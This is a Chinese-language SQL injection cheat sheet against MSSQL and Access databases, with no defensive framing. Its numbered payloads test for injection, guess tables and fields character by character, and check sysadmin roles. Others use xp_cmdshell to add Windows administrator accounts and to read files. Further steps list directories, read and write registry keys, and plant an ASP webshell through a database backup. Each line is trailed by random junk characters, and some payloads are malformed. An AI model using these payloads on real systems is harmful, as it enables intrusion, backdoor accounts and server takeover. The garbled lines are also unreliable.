1.判断是否有注入;and 1=1 ;and 1=2 cF{5[?wS
2.初步判断是否是mssql ;and user>0 rq'Cj<=Zj
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3.注入参数是字符'and [查询条件] and ''=' F*QZVg+<*X
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' s>`$]6wPa
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5.判断数据库系统 lV!ecJw$
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;and (select count(*) from sysobjects)>0 mssql kOR5'rh
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;and (select count(*) from msysobjects)>0 access %v=z|d5-3
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 hKv3;jcd
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ^G'8!!ys
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 S)Cd1`Gf
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9.(1)猜字段的ascii值(access) ws9F~LmLbr
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 l]RO'
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(2)猜字段的ascii值(mssql) ,aS6|~ac4
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 >-rDBk
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10.测试权限结构(mssql) c;DWSgIw
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ?H8w/{J
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- gaBt;@?:Q
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- tWL3F?wd
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- yQb^]|XG
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- zOA{S~>
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- O~yPe.
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;and 1=(select IS_MEMBER('db_owner'));-- Lf _`8Ux
`` (D01<
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11.添加mssql和系统的帐户 5Z{i't0CQ
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;exec master.dbo.sp_addlogin username;-- @!/w'k8
;exec master.dbo.sp_password null,username,password;-- vU&I,:72
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- P!yE{_%
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;exec master.dbo.xp_cmdshell 'net user username password 82#7TX4
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- KP"
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- *BzqAi0
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 4:<74B
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12.(1)遍历目录 o= VzVg
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;create table dirs(paths varchar(100), id int) /Zw^EM6c
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;insert dirs exec master.dbo.xp_dirtree 'c:\' ]kUF>Wp
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;and (select top 1 paths from dirs)>0 F9(*MP|
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) y]$%>N0vLX
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(2)遍历目录 !v(j#N< m
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- SQ7Ws u>T@
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 7i?"akr4
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ~bU!4P}4j
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ?m5@ 635
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 :tclYX
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13.mssql中的存储过程 5,
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xp_regenumvalues 注册表根键, 子键 #(6^1S%
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 =\mAvVe
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xp_regread 根键,子键,键值名 ?;NC(Z,
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;exec xp_regread G3O`r8oZcJ
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Wj0=cIb
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xp_regwrite 根键,子键, 值名, 值类型, 值 Cx(|ZD^
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 B3 f Kb#T
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 o%dKi]
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xp_regdeletevalue 根键,子键,值名 v eP)ElX
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 .bcoH
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 +o+e*B7Eh
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14.mssql的backup创建webshell 0X6|pC~
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use model 9K~0:c
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create table cmd(str image); =[]V$<G'w{
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insert into cmd(str) values (''); fyYHwG
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backup database model to disk='c:\l.asp'; !EO*xxQ
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15.mssql内置函数 &/XRiK1"0
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;and (select @@version)>0 获得Windows的版本号 &sh5|5EC
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa e5\/:HpI
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;and (select user_name())>0 爆当前系统的连接用户 2% ],0,o
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;and (select db_name())>0 得到当前连接的数据库 Ht >5R
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16.简洁的webshell kD_Ac{{<
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use model $;GH
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create table cmd(str image); Ltv!;^Q5
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insert into cmd(str) values (''); T!![7Rs
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backup database model to disk='g:\wwwtest\l.asp';